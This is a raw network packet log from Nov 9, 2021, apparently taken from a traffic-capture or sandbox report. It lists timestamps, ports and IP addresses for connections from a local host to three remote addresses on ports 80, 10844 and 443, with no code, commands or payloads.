Nov 9, 2021 22:21:41.227083921 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.227127075 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.227166891 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.227202892 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.227205038 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.227245092 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.227257967 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.227283955 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.227322102 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.227339029 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.227363110 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.227401018 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.227417946 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.227437973 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.227477074 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.227490902 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.262527943 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.262589931 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.555249929 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.555277109 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.555298090 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.555320024 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.555341005 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.555366993 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.555388927 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.555409908 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.555434942 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.555457115 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.555476904 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.555476904 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.555499077 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.555515051 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.555521965 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.555526018 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.555531025 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.555540085 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.559616089 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.606143951 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.883172035 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.883224010 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.883279085 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.883332968 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.883372068 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.883424044 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.883460045 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.883508921 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.883513927 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.883536100 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.883541107 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.883548021 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.883596897 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.883634090 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.883683920 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.883737087 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.883744955 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.883750916 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:41.903234959 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:41.950201988 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.211246967 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211271048 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211282969 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211296082 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211312056 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211328030 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211344004 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211360931 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211378098 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211393118 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211409092 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211426020 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211432934 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.211441040 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211457968 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211462021 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.211479902 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.211488008 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.211513042 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.247236013 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.248161077 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.539326906 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539376974 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539417982 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539441109 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.539464951 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539508104 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539515018 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.539546967 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539582968 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539621115 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539635897 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.539658070 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539671898 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.539697886 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539736986 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539763927 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.539773941 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539812088 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539845943 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.539849043 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539885998 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.539973021 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.545196056 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.545742035 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.867645025 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.867703915 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.867734909 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.867764950 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.867804050 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.867841959 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.867872953 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.867907047 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.867918015 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.867938042 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.867954016 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.867969036 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.868000984 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.868030071 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.868061066 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.868062019 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.868091106 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.868129969 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.868132114 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.868185043 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.868222952 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.868232012 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.868253946 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.868263006 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.868302107 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.868335009 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:42.868386030 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.868546009 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:42.883415937 CET	49861	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:43.180795908 CET	80	49861	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:43.337745905 CET	49864	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:21:44.965790987 CET	49865	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:45.262756109 CET	80	49865	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:45.262876034 CET	49865	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:45.263072014 CET	49865	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:45.263092041 CET	49865	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:45.560033083 CET	80	49865	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:45.560086966 CET	80	49865	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:46.243541002 CET	80	49865	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:46.243978024 CET	49865	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:46.244388103 CET	49865	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:46.277558088 CET	49866	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:46.340861082 CET	49864	10844	192.168.2.4	45.9.20.149
Nov 9, 2021 22:21:46.541301966 CET	80	49865	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:46.581459045 CET	80	49866	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:46.581823111 CET	49866	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:46.581892014 CET	49866	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:46.581902027 CET	49866	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:46.885560989 CET	80	49866	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:47.560492039 CET	80	49866	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:47.560524940 CET	80	49866	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:47.560883999 CET	49866	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:47.560923100 CET	49866	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:47.590867996 CET	49867	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:47.864928961 CET	80	49866	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:47.883963108 CET	80	49867	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:47.884058952 CET	49867	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:47.884145021 CET	49867	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:47.884257078 CET	49867	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:48.177114010 CET	80	49867	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:48.177252054 CET	80	49867	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:48.330893993 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.330952883 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.331098080 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.403215885 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.403259993 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.458010912 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.458121061 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.462184906 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.462194920 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.462475061 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.512890100 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.863132954 CET	80	49867	47.74.84.15	192.168.2.4
Nov 9, 2021 22:21:48.863460064 CET	49867	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:48.863497972 CET	49867	80	192.168.2.4	47.74.84.15
Nov 9, 2021 22:21:48.908803940 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.945641041 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.945804119 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.945858955 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.945873976 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.945887089 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.945934057 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.945966005 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946063995 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946114063 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946124077 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.946137905 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946192026 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.946198940 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946285963 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946337938 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.946345091 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946410894 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946460009 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.946466923 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946537971 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946584940 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946595907 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.946605921 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946660995 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.946677923 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946759939 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946810007 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.946816921 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946871996 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946918011 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.946928978 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.946942091 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947010040 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.947017908 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947082996 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947128057 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.947135925 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947227001 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947267056 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947277069 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.947290897 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947335958 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.947349072 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947421074 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947458029 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.947463989 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947509050 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947535992 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947546959 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.947552919 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947597980 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.947602987 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947643995 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947706938 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947752953 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947782993 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.947793007 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947799921 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.947822094 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.947855949 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.964677095 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.964767933 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.964793921 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.964863062 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.964896917 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.964960098 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.964975119 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.965038061 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.965059996 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.965066910 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.965097904 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.965145111 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.965198040 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.965210915 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.965214968 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.965257883 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.965266943 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.965328932 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.965334892 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.965389013 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.981921911 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982026100 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982048035 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.982060909 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982095003 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.982117891 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.982146025 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982234001 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.982254982 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982326031 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982337952 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.982347012 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982393026 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.982414961 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982475996 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.982484102 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982528925 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982538939 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.982547998 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982594013 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.982620955 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982686996 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.982841015 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982917070 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982929945 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.982945919 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.982974052 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.982996941 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.983069897 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.983143091 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.983155966 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.983215094 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.983278036 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.983345032 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.983448982 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.983522892 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.983582973 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.983668089 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.983707905 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.983786106 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.983853102 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.983931065 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.983988047 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.984057903 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.984141111 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.984219074 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.984294891 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.984407902 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.984472990 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.984553099 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.984597921 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.984668970 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.984746933 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.984821081 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.984951019 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.985034943 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.985248089 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.985321999 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.985333920 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.985349894 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.985383987 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.985409975 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.985435009 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.985501051 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.985563993 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.985625982 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.985692024 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.985753059 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.985819101 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.985878944 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.985975981 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.986049891 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.986140013 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.986430883 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.986489058 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.986529112 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.986537933 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:48.986566067 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:48.986799955 CET	49868	443	192.168.2.4	162.159.134.233
Nov 9, 2021 22:21:49.003659964 CET	443	49868	162.159.134.233	192.168.2.4
Nov 9, 2021 22:21:49.003748894 CET	49868	443	192.168.2.4	162.159.134.233
